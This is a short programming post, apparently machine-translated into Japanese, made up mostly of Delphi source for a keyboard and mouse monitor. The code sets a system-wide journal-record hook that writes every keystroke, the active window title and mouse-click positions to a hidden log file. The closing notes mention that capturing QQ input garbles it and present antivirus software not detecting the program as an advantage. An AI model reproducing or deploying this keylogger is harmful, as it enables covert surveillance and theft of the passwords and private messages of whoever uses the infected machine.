[Delphi]Delphiキーボードマウスをモニタするプログラム

6692 ワード

unit Unit3;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm3 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
const
  KeyMask = $80000000;

var
  Form3: TForm3;
  LogHook: HHook = 0;
  LastFocusWnd: HWnd = 0;
  PrvChar: Char;

implementation

{$R *.dfm}

function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
var
  ch: Char;
  vKey: Integer;
  FocusWnd: HWND;
  Title: array[0..255] of Char;
  str: array[0..12] of Char;
  TempStr, Time: string;
  LogFile: TextFile;
  PEvt: ^EVENTMSG;
  iCapital, iNumLock, iShift: Integer;
  bShift, bCapital, bNumLock: Boolean;
begin
  if iCode < 0 then
  begin
    Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
    exit;
  end;
  if (iCode = HC_ACTION) then
  begin
    pEvt := Pointer(DWord(lParam));
    if not FileExists('c:\Log.txt') then
    begin
      AssignFile(LogFile, 'c:\Log.txt');
      Rewrite(LogFile);
      CloseFile(LogFile);
    end;
    AssignFile(LogFile, 'c:\Log.txt');
    Append(LogFile);

    FocusWnd := GetActiveWindow;
    if LastFocusWnd <> FocusWnd then
    begin
      writeln(LogFile);
      writeln(LogFile, '*********End**********');
      writeln(LogFile);
      writeln(LogFile, '********begin*********');
      GetWindowText(FocusWnd, Title, 256);
      LastFocusWnd := FocusWnd;
      Time := DateTimeToStr(Now);
      Writeln(LogFile, Time + Format('  《%s》', [Title]));
    end;

    if pEvt.message = WM_KEYDOWN then
    begin
      vKey := LOBYTE(pEvt.paramL);
      iShift := GetKeyState($10);
      iCapital := GetKeyState($14);
      iNumLock := GetKeyState($90);
      bShift := ((iShift and KeyMask) = KeyMask);
      bCapital := ((iCapital and 1) = 1);
      bNumLock := ((iNumLock and 1) = 1);
      if ((vKey >= 48) and (vKey <= 57)) then
        if not bShift then
          Write(LogFile, Char(vKey));
      if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
      begin
        if not bCapital then
        begin
          if bShift then
            ch := Char(vKey)
          else
            ch := Char(vKey + 32);
        end
        else begin
          if bShift then
            ch := Char(vKey + 32)
          else
            ch := Char(vKey);
        end;
        Write(LogFile, ch);
      end;
      if (vKey >= 96) and (vKey <= 105) then //  0-9
        if bNumLock then
          write(LogFile, Char(vKey - 96 + 48));
      ch := 'n';
      if (VKey > 105) and (VKey <= 111) then
      begin
        case vKey of
          106: ch := '*';
          107: ch := '+';
          109: ch := '-';
          111: ch := '/';
        else
          ch := 'n';
        end;
      end;
      if (vKey >= 186) and (vKey <= 222) then //  
      begin
        case vKey of
          186: if not bShift then ch := ';' else ch := ':';
          187: if not bShift then ch := '=' else ch := '+';
          188: if not bShift then ch := ',' else ch := '<';
          189: if not bShift then ch := '-' else ch := '_';
          190: if not bShift then ch := '.' else ch := '>';
          191: if not bShift then ch := '/' else ch := '?';
          192: if not bShift then ch := '`' else ch := '~';
          219: if not bShift then ch := '[' else ch := '{';
          220: if not bShift then ch := '\' else ch := '|';
          221: if not bShift then ch := ']' else ch := '}';
          222: if not bShift then ch := Char(27) else ch := '"';
        else
          ch := 'n';
        end;
      end;
      if ch <> 'n' then
        Write(LogFile, ch);
      // if (wParam >=112 && wParam<=123) //     [F1]-[F12]
      if (vKey >= 8) and (vKey <= 46) then // 
      begin
        ch := ' ';
        case vKey of
          8: str := '[BackSpace]';
          9: str := '[TAB]';
          13: str := '[Enter]';
          32: str := '[Space]';
          33: str := '[PageUp]';
          34: str := '[PageDown]';
          35: str := '[End]';
          36: str := '[Home]';
          37: str := '[LF]';
          38: str := '[UF]';
          39: str := '[RF]';
          40: str := '[DF]';
          45: str := '[Insert]';
          46: str := '[Delete]';
        else
          ch := 'n';
        end;
        if ch <> 'n' then
        begin
          if PrvChar <> Char(vKey) then
          begin
            Write(LogFile, str);
            PrvChar := Char(vKey);
          end;
        end;
      end;
    end
    else
      if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then
      begin
        writeln(LogFile);
        if pEvt.message = WM_LBUTTONDOWN then
          TempStr := 'LButtonDown at: '
        else
          TempStr := 'RButtonDown at: ';
        writeln(LogFile, TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH]));
      end;
    CloseFile(LogFile);
  end;

  Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
end;

procedure TForm3.FormCreate(Sender: TObject);
begin
  if LogHook = 0 then
    LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);
end;

procedure TForm3.FormDestroy(Sender: TObject);
begin
  if LogHook <> 0 then
  begin
    UnhookWindowsHookEx(LogHook);
    LogHook := 0;
  end;
end;

end.

bug:QQなどはユーザーの入力を切り取る時無効(文字化けし)で、QQが安全に登録した後に衝突を引き起こすことがあります.
利点:ウイルス対策ソフトはこれを殺すことはありません.の
親プログラムにボタンを追加してモニタをオンまたはオフにできます
procedure TForm1.ToolButton1Click(Sender: TObject);
begin
    if not assigned(form3) then
  begin
    Form3:= TForm3.Create(Form1);
    ToolButton1.Caption:=' ';
  end
  else
  begin
    Form3.FormDestroy(Form1);
    Form3 := nil;    //destroy nil, assigned true
    if Application.MessageBox('  c:\Log.txt?',' ---dragonszy',MB_YESNO) = IDYES then
      ShellExecute(Application.Handle,'open','notepad.exe','c:\Log.txt',nil,SW_SHOWNORMAL);
    ToolButton1.Caption:=' ';
  end;
end;

注意:
1.assigned()サブフォームが生成されたかどうかを判断
2.リリース後のForm変数はnilを指します.そうしないとassigned()は正しく検出できません.